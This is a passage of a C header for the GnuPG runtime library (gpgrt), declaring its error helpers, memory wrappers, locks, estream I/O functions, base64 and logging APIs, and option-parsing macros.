ERRNO variable. This function is the preferred way to set * ERRNO due to peculiarities on WindowsCE. */ void gpg_err_set_errno (int err); /* Return or check the version. Both functions are identical. */ const char *gpgrt_check_version (const char *req_version); const char *gpg_error_check_version (const char *req_version); /* System specific type definitions. */ #include <sys/types.h> typedef ssize_t gpgrt_ssize_t; #include <stdint.h> typedef int64_t gpgrt_off_t; /* Self-documenting convenience functions. */ static GPG_ERR_INLINE gpg_error_t gpg_err_make_from_errno (gpg_err_source_t source, int err) { return gpg_err_make (source, gpg_err_code_from_errno (err)); } static GPG_ERR_INLINE gpg_error_t gpg_error_from_errno (int err) { return gpg_error (gpg_err_code_from_errno (err)); } static GPG_ERR_INLINE gpg_error_t gpg_error_from_syserror (void) { return gpg_error (gpg_err_code_from_syserror ()); } /* * Malloc and friends */ void *gpgrt_realloc (void *a, size_t n); void *gpgrt_malloc (size_t n); void *gpgrt_calloc (size_t n, size_t m); char *gpgrt_strdup (const char *string); char *gpgrt_strconcat (const char *s1, ...) GPGRT_ATTR_SENTINEL(0); void gpgrt_free (void *a); /* * System specific function wrappers. */ /* A getenv replacement which mallocs the returned string. */ char *gpgrt_getenv (const char *name); /* A setenv and a unsetenv replacement.*/ gpg_err_code_t gpgrt_setenv (const char *name, const char *value, int overwrite); #define gpgrt_unsetenv(n) gpgrt_setenv ((n), NULL, 1) /* A wrapper around mkdir using a string for the mode. */ gpg_err_code_t gpgrt_mkdir (const char *name, const char *modestr); /* A simple wrapper around chdir. */ gpg_err_code_t gpgrt_chdir (const char *name); /* Return the current WD as a malloced string. */ char *gpgrt_getcwd (void); /* * Lock functions. */ #include <pthread.h> typedef struct { long _vers; union { volatile char _priv[sizeof(pthread_mutex_t)]; long _x_align; long *_xp_align; } u; } gpgrt_lock_t; #define GPGRT_LOCK_INITIALIZER {1,{{0}}} #define GPGRT_LOCK_DEFINE(name) \ static gpgrt_lock_t name = GPGRT_LOCK_INITIALIZER /* NB: If GPGRT_LOCK_DEFINE is not used, zero out the lock variable before passing it to gpgrt_lock_init. */ gpg_err_code_t gpgrt_lock_init (gpgrt_lock_t *lockhd); gpg_err_code_t gpgrt_lock_lock (gpgrt_lock_t *lockhd); gpg_err_code_t gpgrt_lock_trylock (gpgrt_lock_t *lockhd); gpg_err_code_t gpgrt_lock_unlock (gpgrt_lock_t *lockhd); gpg_err_code_t gpgrt_lock_destroy (gpgrt_lock_t *lockhd); /* * Thread functions. */ gpg_err_code_t gpgrt_yield (void); /* * Estream */ /* The definition of this struct is entirely private. You must not use it for anything. It is only here so some functions can be implemented as macros. */ struct _gpgrt_stream_internal; struct _gpgrt__stream { /* The layout of this struct must never change. It may be grown, but only if all functions which access the new members are versioned. */ /* Various flags. */ struct { unsigned int magic: 16; unsigned int writing: 1; unsigned int reserved: 15; } flags; /* A pointer to the stream buffer. */ unsigned char *buffer; /* The size of the buffer in bytes. */ size_t buffer_size; /* The length of the usable data in the buffer, only valid when in read mode (see flags). */ size_t data_len; /* The current position of the offset pointer, valid in read and write mode. */ size_t data_offset; size_t data_flushed; unsigned char *unread_buffer; size_t unread_buffer_size; /* The number of unread bytes. */ size_t unread_data_len; /* A pointer to our internal data for this stream. */ struct _gpgrt_stream_internal *intern; }; /* The opaque type for an estream. */ typedef struct _gpgrt__stream *gpgrt_stream_t; #ifdef GPGRT_ENABLE_ES_MACROS typedef struct _gpgrt__stream *estream_t; #endif typedef ssize_t (*gpgrt_cookie_read_function_t) (void *cookie, void *buffer, size_t size); typedef ssize_t (*gpgrt_cookie_write_function_t) (void *cookie, const void *buffer, size_t size); typedef int (*gpgrt_cookie_seek_function_t) (void *cookie, gpgrt_off_t *pos, int whence); typedef int (*gpgrt_cookie_close_function_t) (void *cookie); struct _gpgrt_cookie_io_functions { gpgrt_cookie_read_function_t func_read; gpgrt_cookie_write_function_t func_write; gpgrt_cookie_seek_function_t func_seek; gpgrt_cookie_close_function_t func_close; }; typedef struct _gpgrt_cookie_io_functions gpgrt_cookie_io_functions_t; #ifdef GPGRT_ENABLE_ES_MACROS typedef struct _gpgrt_cookie_io_functions es_cookie_io_functions_t; #define es_cookie_read_function_t gpgrt_cookie_read_function_t #define es_cookie_write_function_t gpgrt_cookie_read_function_t #define es_cookie_seek_function_t gpgrt_cookie_read_function_t #define es_cookie_close_function_t gpgrt_cookie_read_function_t #endif enum gpgrt_syshd_types { GPGRT_SYSHD_NONE = 0, /* No system handle available. */ GPGRT_SYSHD_FD = 1, /* A file descriptor as returned by open(). */ GPGRT_SYSHD_SOCK = 2, /* A socket as returned by socket(). */ GPGRT_SYSHD_RVID = 3, /* A rendezvous id (see libassuan's gpgcedev.c). */ GPGRT_SYSHD_HANDLE = 4 /* A HANDLE object (Windows). */ }; struct _gpgrt_syshd { enum gpgrt_syshd_types type; union { int fd; int sock; int rvid; void *handle; } u; }; typedef struct _gpgrt_syshd gpgrt_syshd_t; #ifdef GPGRT_ENABLE_ES_MACROS typedef struct _gpgrt_syshd es_syshd_t; #define ES_SYSHD_NONE GPGRT_SYSHD_NONE #define ES_SYSHD_FD GPGRT_SYSHD_FD #define ES_SYSHD_SOCK GPGRT_SYSHD_SOCK #define ES_SYSHD_RVID GPGRT_SYSHD_RVID #define ES_SYSHD_HANDLE GPGRT_SYSHD_HANDLE #endif /* The object used with gpgrt_poll. */ struct _gpgrt_poll_s { gpgrt_stream_t stream; unsigned int want_read:1; unsigned int want_write:1; unsigned int want_oob:1; unsigned int want_rdhup:1; unsigned int _reserv1:4; unsigned int got_read:1; unsigned int got_write:1; unsigned int got_oob:1; unsigned int got_rdhup:1; unsigned int _reserv2:4; unsigned int got_err:1; unsigned int got_hup:1; unsigned int got_nval:1; unsigned int _reserv3:4; unsigned int ignore:1; unsigned int user:8; /* For application use. */ }; typedef struct _gpgrt_poll_s gpgrt_poll_t; #ifdef GPGRT_ENABLE_ES_MACROS typedef struct _gpgrt_poll_s es_poll_t; #endif gpgrt_stream_t gpgrt_fopen (const char *_GPGRT__RESTRICT path, const char *_GPGRT__RESTRICT mode); gpgrt_stream_t gpgrt_mopen (void *_GPGRT__RESTRICT data, size_t data_n, size_t data_len, unsigned int grow, void *(*func_realloc) (void *mem, size_t size), void (*func_free) (void *mem), const char *_GPGRT__RESTRICT mode); gpgrt_stream_t gpgrt_fopenmem (size_t memlimit, const char *_GPGRT__RESTRICT mode); gpgrt_stream_t gpgrt_fopenmem_init (size_t memlimit, const char *_GPGRT__RESTRICT mode, const void *data, size_t datalen); gpgrt_stream_t gpgrt_fdopen (int filedes, const char *mode); gpgrt_stream_t gpgrt_fdopen_nc (int filedes, const char *mode); gpgrt_stream_t gpgrt_sysopen (gpgrt_syshd_t *syshd, const char *mode); gpgrt_stream_t gpgrt_sysopen_nc (gpgrt_syshd_t *syshd, const char *mode); gpgrt_stream_t gpgrt_fpopen (FILE *fp, const char *mode); gpgrt_stream_t gpgrt_fpopen_nc (FILE *fp, const char *mode); gpgrt_stream_t gpgrt_freopen (const char *_GPGRT__RESTRICT path, const char *_GPGRT__RESTRICT mode, gpgrt_stream_t _GPGRT__RESTRICT stream); gpgrt_stream_t gpgrt_fopencookie (void *_GPGRT__RESTRICT cookie, const char *_GPGRT__RESTRICT mode, gpgrt_cookie_io_functions_t functions); int gpgrt_fclose (gpgrt_stream_t stream); int gpgrt_fclose_snatch (gpgrt_stream_t stream, void **r_buffer, size_t *r_buflen); int gpgrt_onclose (gpgrt_stream_t stream, int mode, void (*fnc) (gpgrt_stream_t, void*), void *fnc_value); int gpgrt_fileno (gpgrt_stream_t stream); int gpgrt_fileno_unlocked (gpgrt_stream_t stream); int gpgrt_syshd (gpgrt_stream_t stream, gpgrt_syshd_t *syshd); int gpgrt_syshd_unlocked (gpgrt_stream_t stream, gpgrt_syshd_t *syshd); void _gpgrt_set_std_fd (int no, int fd); gpgrt_stream_t _gpgrt_get_std_stream (int fd); #define gpgrt_stdin _gpgrt_get_std_stream (0) #define gpgrt_stdout _gpgrt_get_std_stream (1) #define gpgrt_stderr _gpgrt_get_std_stream (2) void gpgrt_flockfile (gpgrt_stream_t stream); int gpgrt_ftrylockfile (gpgrt_stream_t stream); void gpgrt_funlockfile (gpgrt_stream_t stream); int gpgrt_feof (gpgrt_stream_t stream); int gpgrt_feof_unlocked (gpgrt_stream_t stream); int gpgrt_ferror (gpgrt_stream_t stream); int gpgrt_ferror_unlocked (gpgrt_stream_t stream); void gpgrt_clearerr (gpgrt_stream_t stream); void gpgrt_clearerr_unlocked (gpgrt_stream_t stream); int _gpgrt_pending (gpgrt_stream_t stream); /* (private) */ int _gpgrt_pending_unlocked (gpgrt_stream_t stream); /* (private) */ #define gpgrt_pending(stream) _gpgrt_pending (stream) #define gpgrt_pending_unlocked(stream) \ (((!(stream)->flags.writing) \ && (((stream)->data_offset < (stream)->data_len) \ || ((stream)->unread_data_len))) \ ? 1 : _gpgrt_pending_unlocked ((stream))) int gpgrt_fflush (gpgrt_stream_t stream); int gpgrt_fseek (gpgrt_stream_t stream, long int offset, int whence); int gpgrt_fseeko (gpgrt_stream_t stream, gpgrt_off_t offset, int whence); long int gpgrt_ftell (gpgrt_stream_t stream); gpgrt_off_t gpgrt_ftello (gpgrt_stream_t stream); void gpgrt_rewind (gpgrt_stream_t stream); int gpgrt_fgetc (gpgrt_stream_t stream); int gpgrt_fputc (int c, gpgrt_stream_t stream); int _gpgrt_getc_underflow (gpgrt_stream_t stream); /* (private) */ int _gpgrt_putc_overflow (int c, gpgrt_stream_t stream); /* (private) */ #define gpgrt_getc_unlocked(stream) \ (((!(stream)->flags.writing) \ && ((stream)->data_offset < (stream)->data_len) \ && (! (stream)->unread_data_len)) \ ? ((int) (stream)->buffer[((stream)->data_offset)++]) \ : _gpgrt_getc_underflow ((stream))) #define gpgrt_putc_unlocked(c, stream) \ (((stream)->flags.writing \ && ((stream)->data_offset < (stream)->buffer_size) \ && (c != '\n')) \ ? ((int) ((stream)->buffer[((stream)->data_offset)++] = (c))) \ : _gpgrt_putc_overflow ((c), (stream))) #define gpgrt_getc(stream) gpgrt_fgetc (stream) #define gpgrt_putc(c, stream) gpgrt_fputc (c, stream) int gpgrt_ungetc (int c, gpgrt_stream_t stream); int gpgrt_read (gpgrt_stream_t _GPGRT__RESTRICT stream, void *_GPGRT__RESTRICT buffer, size_t bytes_to_read, size_t *_GPGRT__RESTRICT bytes_read); int gpgrt_write (gpgrt_stream_t _GPGRT__RESTRICT stream, const void *_GPGRT__RESTRICT buffer, size_t bytes_to_write, size_t *_GPGRT__RESTRICT bytes_written); int gpgrt_write_sanitized (gpgrt_stream_t _GPGRT__RESTRICT stream, const void *_GPGRT__RESTRICT buffer, size_t length, const char *delimiters, size_t *_GPGRT__RESTRICT bytes_written); int gpgrt_write_hexstring (gpgrt_stream_t _GPGRT__RESTRICT stream, const void *_GPGRT__RESTRICT buffer, size_t length, int reserved, size_t *_GPGRT__RESTRICT bytes_written); size_t gpgrt_fread (void *_GPGRT__RESTRICT ptr, size_t size, size_t nitems, gpgrt_stream_t _GPGRT__RESTRICT stream); size_t gpgrt_fwrite (const void *_GPGRT__RESTRICT ptr, size_t size, size_t memb, gpgrt_stream_t _GPGRT__RESTRICT stream); char *gpgrt_fgets (char *_GPGRT__RESTRICT s, int n, gpgrt_stream_t _GPGRT__RESTRICT stream); int gpgrt_fputs (const char *_GPGRT__RESTRICT s, gpgrt_stream_t _GPGRT__RESTRICT stream); int gpgrt_fputs_unlocked (const char *_GPGRT__RESTRICT s, gpgrt_stream_t _GPGRT__RESTRICT stream); ssize_t gpgrt_getline (char *_GPGRT__RESTRICT *_GPGRT__RESTRICT lineptr, size_t *_GPGRT__RESTRICT n, gpgrt_stream_t stream); ssize_t gpgrt_read_line (gpgrt_stream_t stream, char **addr_of_buffer, size_t *length_of_buffer, size_t *max_length); int gpgrt_fprintf (gpgrt_stream_t _GPGRT__RESTRICT stream, const char *_GPGRT__RESTRICT format, ...) GPGRT_ATTR_PRINTF(2,3); int gpgrt_fprintf_unlocked (gpgrt_stream_t _GPGRT__RESTRICT stream, const char *_GPGRT__RESTRICT format, ...) GPGRT_ATTR_PRINTF(2,3); int gpgrt_printf (const char *_GPGRT__RESTRICT format, ...) GPGRT_ATTR_PRINTF(1,2); int gpgrt_printf_unlocked (const char *_GPGRT__RESTRICT format, ...) GPGRT_ATTR_PRINTF(1,2); int gpgrt_vfprintf (gpgrt_stream_t _GPGRT__RESTRICT stream, const char *_GPGRT__RESTRICT format, va_list ap) GPGRT_ATTR_PRINTF(2,0); int gpgrt_vfprintf_unlocked (gpgrt_stream_t _GPGRT__RESTRICT stream, const char *_GPGRT__RESTRICT format, va_list ap) GPGRT_ATTR_PRINTF(2,0); int gpgrt_setvbuf (gpgrt_stream_t _GPGRT__RESTRICT stream, char *_GPGRT__RESTRICT buf, int mode, size_t size); void gpgrt_setbuf (gpgrt_stream_t _GPGRT__RESTRICT stream, char *_GPGRT__RESTRICT buf); void gpgrt_set_binary (gpgrt_stream_t stream); int gpgrt_set_nonblock (gpgrt_stream_t stream, int onoff); int gpgrt_get_nonblock (gpgrt_stream_t stream); int gpgrt_poll (gpgrt_poll_t *fdlist, unsigned int nfds, int timeout); gpgrt_stream_t gpgrt_tmpfile (void); void gpgrt_opaque_set (gpgrt_stream_t _GPGRT__RESTRICT stream, void *_GPGRT__RESTRICT opaque); void *gpgrt_opaque_get (gpgrt_stream_t stream); void gpgrt_fname_set (gpgrt_stream_t stream, const char *fname); const char *gpgrt_fname_get (gpgrt_stream_t stream); int gpgrt_asprintf (char **r_buf, const char * _GPGRT__RESTRICT format, ...) GPGRT_ATTR_PRINTF(2,3); int gpgrt_vasprintf (char **r_buf, const char * _GPGRT__RESTRICT format, va_list ap) GPGRT_ATTR_PRINTF(2,0); char *gpgrt_bsprintf (const char * _GPGRT__RESTRICT format, ...) GPGRT_ATTR_PRINTF(1,2); char *gpgrt_vbsprintf (const char * _GPGRT__RESTRICT format, va_list ap) GPGRT_ATTR_PRINTF(1,0); int gpgrt_snprintf (char *buf, size_t bufsize, const char * _GPGRT__RESTRICT format, ...) GPGRT_ATTR_PRINTF(3,4); int gpgrt_vsnprintf (char *buf,size_t bufsize, const char * _GPGRT__RESTRICT format, va_list arg_ptr) GPGRT_ATTR_PRINTF(3,0); #ifdef GPGRT_ENABLE_ES_MACROS # define es_fopen gpgrt_fopen # define es_mopen gpgrt_mopen # define es_fopenmem gpgrt_fopenmem # define es_fopenmem_init gpgrt_fopenmem_init # define es_fdopen gpgrt_fdopen # define es_fdopen_nc gpgrt_fdopen_nc # define es_sysopen gpgrt_sysopen # define es_sysopen_nc gpgrt_sysopen_nc # define es_fpopen gpgrt_fpopen # define es_fpopen_nc gpgrt_fpopen_nc # define es_freopen gpgrt_freopen # define es_fopencookie gpgrt_fopencookie # define es_fclose gpgrt_fclose # define es_fclose_snatch gpgrt_fclose_snatch # define es_onclose gpgrt_onclose # define es_fileno gpgrt_fileno # define es_fileno_unlocked gpgrt_fileno_unlocked # define es_syshd gpgrt_syshd # define es_syshd_unlocked gpgrt_syshd_unlocked # define es_stdin _gpgrt_get_std_stream (0) # define es_stdout _gpgrt_get_std_stream (1) # define es_stderr _gpgrt_get_std_stream (2) # define es_flockfile gpgrt_flockfile # define es_ftrylockfile gpgrt_ftrylockfile # define es_funlockfile gpgrt_funlockfile # define es_feof gpgrt_feof # define es_feof_unlocked gpgrt_feof_unlocked # define es_ferror gpgrt_ferror # define es_ferror_unlocked gpgrt_ferror_unlocked # define es_clearerr gpgrt_clearerr # define es_clearerr_unlocked gpgrt_clearerr_unlocked # define es_pending gpgrt_pending # define es_pending_unlocked gpgrt_pending_unlocked # define es_fflush gpgrt_fflush # define es_fseek gpgrt_fseek # define es_fseeko gpgrt_fseeko # define es_ftell gpgrt_ftell # define es_ftello gpgrt_ftello # define es_rewind gpgrt_rewind # define es_fgetc gpgrt_fgetc # define es_fputc gpgrt_fputc # define es_getc_unlocked gpgrt_getc_unlocked # define es_putc_unlocked gpgrt_putc_unlocked # define es_getc gpgrt_getc # define es_putc gpgrt_putc # define es_ungetc gpgrt_ungetc # define es_read gpgrt_read # define es_write gpgrt_write # define es_write_sanitized gpgrt_write_sanitized # define es_write_hexstring gpgrt_write_hexstring # define es_fread gpgrt_fread # define es_fwrite gpgrt_fwrite # define es_fgets gpgrt_fgets # define es_fputs gpgrt_fputs # define es_fputs_unlocked gpgrt_fputs_unlocked # define es_getline gpgrt_getline # define es_read_line gpgrt_read_line # define es_free gpgrt_free # define es_fprintf gpgrt_fprintf # define es_fprintf_unlocked gpgrt_fprintf_unlocked # define es_printf gpgrt_printf # define es_printf_unlocked gpgrt_printf_unlocked # define es_vfprintf gpgrt_vfprintf # define es_vfprintf_unlocked gpgrt_vfprintf_unlocked # define es_setvbuf gpgrt_setvbuf # define es_setbuf gpgrt_setbuf # define es_set_binary gpgrt_set_binary # define es_set_nonblock gpgrt_set_nonblock # define es_get_nonblock gpgrt_get_nonblock # define es_poll gpgrt_poll # define es_tmpfile gpgrt_tmpfile # define es_opaque_set gpgrt_opaque_set # define es_opaque_get gpgrt_opaque_get # define es_fname_set gpgrt_fname_set # define es_fname_get gpgrt_fname_get # define es_asprintf gpgrt_asprintf # define es_vasprintf gpgrt_vasprintf # define es_bsprintf gpgrt_bsprintf # define es_vbsprintf gpgrt_vbsprintf #endif /*GPGRT_ENABLE_ES_MACROS*/ /* * Base64 encode and decode functions. */ struct _gpgrt_b64state; typedef struct _gpgrt_b64state *gpgrt_b64state_t; gpgrt_b64state_t gpgrt_b64enc_start (gpgrt_stream_t stream, const char *title); gpg_err_code_t gpgrt_b64enc_write (gpgrt_b64state_t state, const void *buffer, size_t nbytes); gpg_err_code_t gpgrt_b64enc_finish (gpgrt_b64state_t state); gpgrt_b64state_t gpgrt_b64dec_start (const char *title); gpg_error_t gpgrt_b64dec_proc (gpgrt_b64state_t state, void *buffer, size_t length, size_t *r_nbytes); gpg_error_t gpgrt_b64dec_finish (gpgrt_b64state_t state); /* * Logging functions */ /* Flag values for gpgrt_log_set_prefix. */ #define GPGRT_LOG_WITH_PREFIX 1 #define GPGRT_LOG_WITH_TIME 2 #define GPGRT_LOG_WITH_PID 4 #define GPGRT_LOG_RUN_DETACHED 256 #define GPGRT_LOG_NO_REGISTRY 512 /* Log levels as used by gpgrt_log. */ enum gpgrt_log_levels { GPGRT_LOGLVL_BEGIN, GPGRT_LOGLVL_CONT, GPGRT_LOGLVL_INFO, GPGRT_LOGLVL_WARN, GPGRT_LOGLVL_ERROR, GPGRT_LOGLVL_FATAL, GPGRT_LOGLVL_BUG, GPGRT_LOGLVL_DEBUG }; /* The next 4 functions are not thread-safe - call them early. */ void gpgrt_log_set_sink (const char *name, gpgrt_stream_t stream, int fd); void gpgrt_log_set_socket_dir_cb (const char *(*fnc)(void)); void gpgrt_log_set_pid_suffix_cb (int (*cb)(unsigned long *r_value)); void gpgrt_log_set_prefix (const char *text, unsigned int flags); int gpgrt_get_errorcount (int clear); void gpgrt_inc_errorcount (void); const char *gpgrt_log_get_prefix (unsigned int *flags); int gpgrt_log_test_fd (int fd); int gpgrt_log_get_fd (void); gpgrt_stream_t gpgrt_log_get_stream (void); void gpgrt_log (int level, const char *fmt, ...) GPGRT_ATTR_PRINTF(2,3); void gpgrt_logv (int level, const char *fmt, va_list arg_ptr); void gpgrt_logv_prefix (int level, const char *prefix, const char *fmt, va_list arg_ptr); void gpgrt_log_string (int level, const char *string); void gpgrt_log_bug (const char *fmt, ...) GPGRT_ATTR_NR_PRINTF(1,2); void gpgrt_log_fatal (const char *fmt, ...) GPGRT_ATTR_NR_PRINTF(1,2); void gpgrt_log_error (const char *fmt, ...) GPGRT_ATTR_PRINTF(1,2); void gpgrt_log_info (const char *fmt, ...) GPGRT_ATTR_PRINTF(1,2); void gpgrt_log_debug (const char *fmt, ...) GPGRT_ATTR_PRINTF(1,2); void gpgrt_log_debug_string (const char *string, const char *fmt, ...) GPGRT_ATTR_PRINTF(2,3); void gpgrt_log_printf (const char *fmt, ...) GPGRT_ATTR_PRINTF(1,2); void gpgrt_log_printhex (const void *buffer, size_t length, const char *fmt, ...) GPGRT_ATTR_PRINTF(3,4); void gpgrt_log_clock (const char *fmt, ...) GPGRT_ATTR_PRINTF(1,2); void gpgrt_log_flush (void); void _gpgrt_log_assert (const char *expr, const char *file, int line, const char *func) GPGRT_ATTR_NORETURN; #ifdef GPGRT_HAVE_MACRO_FUNCTION # define gpgrt_assert(expr) \ ((expr) \ ? (void) 0 \ : _gpgrt_log_assert (#expr, __FILE__, __LINE__, __FUNCTION__)) #else /*!GPGRT_HAVE_MACRO_FUNCTION*/ # define gpgrt_assert(expr) \ ((expr) \ ? (void) 0 \ : _gpgrt_log_assert (#expr, __FILE__, __LINE__, NULL)) #endif /*!GPGRT_HAVE_MACRO_FUNCTION*/ #ifdef GPGRT_ENABLE_LOG_MACROS # define log_get_errorcount gpgrt_get_errorcount # define log_inc_errorcount gpgrt_inc_errorcount # define log_set_file(a) gpgrt_log_set_sink ((a), NULL, -1) # define log_set_fd(a) gpgrt_log_set_sink (NULL, NULL, (a)) # define log_set_stream(a) gpgrt_log_set_sink (NULL, (a), -1) # define log_set_socket_dir_cb gpgrt_log_set_socket_dir_cb # define log_set_pid_suffix_cb gpgrt_log_set_pid_suffix_cb # define log_set_prefix gpgrt_log_set_prefix # define log_get_prefix gpgrt_log_get_prefix # define log_test_fd gpgrt_log_test_fd # define log_get_fd gpgrt_log_get_fd # define log_get_stream gpgrt_log_get_stream # define log_log gpgrt_log # define log_logv gpgrt_logv # define log_logv_prefix gpgrt_logv_prefix # define log_string gpgrt_log_string # define log_bug gpgrt_log_bug # define log_fatal gpgrt_log_fatal # define log_error gpgrt_log_error # define log_info gpgrt_log_info # define log_debug gpgrt_log_debug # define log_debug_string gpgrt_log_debug_string # define log_printf gpgrt_log_printf # define log_printhex gpgrt_log_printhex # define log_clock gpgrt_log_clock # define log_flush gpgrt_log_flush # ifdef GPGRT_HAVE_MACRO_FUNCTION # define log_assert(expr) \ ((expr) \ ? (void) 0 \ : _gpgrt_log_assert (#expr, __FILE__, __LINE__, __FUNCTION__)) # else /*!GPGRT_HAVE_MACRO_FUNCTION*/ # define log_assert(expr) \ ((expr) \ ? (void) 0 \ : _gpgrt_log_assert (#expr, __FILE__, __LINE__, NULL)) # endif /*!GPGRT_HAVE_MACRO_FUNCTION*/ #endif /*GPGRT_ENABLE_LOG_MACROS*/ /* * Spawn functions (Not yet available) */ #define GPGRT_SPAWN_NONBLOCK 16 /* Set the streams to non-blocking. */ #define GPGRT_SPAWN_RUN_ASFW 64 /* Use AllowSetForegroundWindow on W32. */ #define GPGRT_SPAWN_DETACHED 128 /* Start the process in the background. */ #if 0 /* Function and convenience macros to create pipes. */ gpg_err_code_t gpgrt_make_pipe (int filedes[2], gpgrt_stream_t *r_fp, int direction, int nonblock); #define gpgrt_create_pipe(a) gpgrt_make_pipe ((a),NULL, 0, 0); #define gpgrt_create_inbound_pipe(a,b,c) gpgrt_make_pipe ((a), (b), -1,(c)); #define gpgrt_create_outbound_pipe(a,b,c) gpgrt_make_pipe ((a), (b), 1,(c)); /* Fork and exec PGMNAME. */ gpg_err_code_t gpgrt_spawn_process (const char *pgmname, const char *argv[], int *execpt, void (*preexec)(void), unsigned int flags, gpgrt_stream_t *r_infp, gpgrt_stream_t *r_outfp, gpgrt_stream_t *r_errfp, pid_t *pid); /* Fork and exec PGNNAME and connect the process to the given FDs. */ gpg_err_code_t gpgrt_spawn_process_fd (const char *pgmname, const char *argv[], int infd, int outfd, int errfd, pid_t *pid); /* Fork and exec PGMNAME as a detached process. */ gpg_err_code_t gpgrt_spawn_process_detached (const char *pgmname, const char *argv[], const char *envp[] ); /* Wait for a single process. */ gpg_err_code_t gpgrt_wait_process (const char *pgmname, pid_t pid, int hang, int *r_exitcode); /* Wait for a multiple processes. */ gpg_err_code_t gpgrt_wait_processes (const char **pgmnames, pid_t *pids, size_t count, int hang, int *r_exitcodes); /* Kill the process identified by PID. */ void gpgrt_kill_process (pid_t pid); /* Release process resources identified by PID. */ void gpgrt_release_process (pid_t pid); #endif /*0*/ /* * Option parsing. */ struct _gpgrt_argparse_internal_s; typedef struct { int *argc; /* Pointer to ARGC (value subject to change). */ char ***argv; /* Pointer to ARGV (value subject to change). */ unsigned int flags; /* Global flags. May be set prior to calling the parser. The parser may change the value. */ int err; /* Print error description for last option. Either 0, ARGPARSE_PRINT_WARNING or ARGPARSE_PRINT_ERROR. */ unsigned int lineno;/* The current line number. */ int r_opt; /* Returns option code. */ int r_type; /* Returns type of option value. */ union { int ret_int; long ret_long; unsigned long ret_ulong; char *ret_str; } r; /* Return values */ struct _gpgrt_argparse_internal_s *internal; } gpgrt_argparse_t; typedef struct { int short_opt; const char *long_opt; unsigned int flags; const char *description; /* Optional description. */ } gpgrt_opt_t; #ifdef GPGRT_ENABLE_ARGPARSE_MACROS /* Global flags for (gpgrt_argparse_t).flags. */ #define ARGPARSE_FLAG_KEEP 1 /* Do not remove options form argv. */ #define ARGPARSE_FLAG_ALL 2 /* Do not stop at last option but return remaining args with R_OPT set to -1. */ #define ARGPARSE_FLAG_MIXED 4 /* Assume options and args are mixed. */ #define ARGPARSE_FLAG_NOSTOP 8 /* Do not stop processing at "--". */ #define ARGPARSE_FLAG_ARG0 16 /* Do not skip the first arg. */ #define ARGPARSE_FLAG_ONEDASH 32 /* Allow long options with one dash. */ #define ARGPARSE_FLAG_NOVERSION 64 /* No output for "--version". */ #define ARGPARSE_FLAG_RESET 128 /* Request to reset the internal state. */ #define ARGPARSE_FLAG_STOP_SEEN 256 /* Set to true if a "--" has been seen. */ #define ARGPARSE_FLAG_NOLINENO 512 /* Do not zero the lineno field. */ /* Constants for (gpgrt_argparse_t).err. */ #define ARGPARSE_PRINT_WARNING 1 /* Print a diagnostic. */ #define ARGPARSE_PRINT_ERROR 2 /* Print a diagnostic and call exit. */ /* Special return values of gpgrt_argparse. */ #define ARGPARSE_IS_ARG (-1) #define ARGPARSE_INVALID_OPTION (-2) #define ARGPARSE_MISSING_ARG (-3) #define ARGPARSE_KEYWORD_TOO_LONG (-4) #define ARGPARSE_READ_ERROR (-5) #define ARGPARSE_UNEXPECTED_ARG (-6) #define ARGPARSE_INVALID_COMMAND (-7) #define ARGPARSE_AMBIGUOUS_OPTION (-8) #define ARGPARSE_AMBIGUOUS_COMMAND (-9) #define ARGPARSE_INVALID_ALIAS (-10) #define ARGPARSE_OUT_OF_CORE (-11) #define ARGPARSE_INVALID_ARG (-12) /* Flags for the option descriptor (gpgrt_opt_t)->flags. Note that * a TYPE constant may be or-ed with the OPT constants. */ #define ARGPARSE_TYPE_NONE 0 /* Does not take an argument. */ #define ARGPARSE_TYPE_INT 1 /* Takes an int argument. */ #define ARGPARSE_TYPE_STRING 2 /* Takes a string argument. */ #define ARGPARSE_TYPE_LONG 3 /* Takes a long argument. */ #define ARGPARSE_TYPE_ULONG 4 /* Takes an unsigned long argument. */ #define ARGPARSE_OPT_OPTIONAL (1<<3) /* Argument is optional. */ #define ARGPARSE_OPT_PREFIX (1<<4) /* Allow 0x etc. prefixed values. */ #define ARGPARSE_OPT_IGNORE (1<<6) /* Ignore command or option. */ #define ARGPARSE_OPT_COMMAND (1<<7) /* The argument is a command. */ /* A set of macros to make option definitions easier to read. */ #define ARGPARSE_x(s,l,t,f,d) \ { (s), (l), ARGPARSE_TYPE_ ## t | (f), (d) } #define ARGPARSE_s(s,l,t,d) \ { (s), (l), ARGPARSE_TYPE_ ## t, (d) } #define ARGPARSE_s_n(s,l,d) \ { (s), (l), ARGPARSE_TYPE_NONE, (d) } #define ARGPARSE_s_i(s,l,d) \ { (s), (l), ARGPARSE_TYPE_INT, (d) } #define ARGPARSE_s_s(s,l,d) \ { (s), (l), ARGPARSE_TYPE_STRING, (d) } #define ARGPARSE_s_l(s,l,d) \ { (s), (l), ARGPARSE_TYPE_LONG, (d) } #define ARGPARSE_s_u(s,l,d) \ { (s), (l), ARGPARSE_TYPE_ULONG, (d) } #define ARGPARSE_o(s,l,t,d) \ { (s), (l), (ARGPARSE_TYPE_ ## t | ARGPARSE_OPT_OPTIONAL), (d) } #define ARGPARSE_o_n(s,l,d) \ { (s), (l), (ARGPARSE_TYPE_NONE | ARGPARSE_OPT_OPTIONAL), (d) } #define ARGPARSE_o_i(s,l,d) \ { (s), (l), (ARGPARSE_TYPE_INT | ARGPARSE_OPT_OPTIONAL), (d) } #define ARGPARSE_o_s(s,l,d) \ { (s), (l), (ARGPARSE_TYPE_STRING | ARGPARSE_OPT_OPTIONAL), (d) } #define ARGPARSE_o_l(s,l,d) \ { (s), (l), (ARGPARSE_TYPE_LONG | ARGPARSE_OPT_OPTIONAL), (d) } #define ARGPARSE_o_u(s,l,d) \ { (s), (l), (ARGPARSE_TYPE_ULONG | ARGPARSE_OPT_OPTIONAL), (d) } #define ARGPARSE_p(s,l,t,d) \ { (s), (l), (ARGPARSE_TYPE_ ## t | ARGPARSE_OPT_PREFIX), (d) } #define ARGPARSE_p_n(s,l,d) \ { (s), (l), (ARGPARSE_TYPE_NONE | ARGPARSE_OPT_PREFIX), (d) } #define ARGPARSE_p_i(s,l,d) \ { (s), (l), (ARGPARSE_TYPE_INT | ARGPARSE_OPT_PREFIX), (d) } #define ARGPARSE_p_s(s,l,d) \ { (s), (l), (ARGPARSE_TYPE_STRING | ARGPARSE_OPT_PREFIX), (d) } #define ARGPARSE_p_l(s,l,d) \ { (s), (l), (ARGPARSE_TYPE_LONG | ARGPARSE_OPT_PREFIX), (d) } #define ARGPARSE_p_u(s,l,d) \ { (s), (l), (ARGPARSE_TYPE_ULONG | ARGPARSE_OPT_PREFIX), (d) } 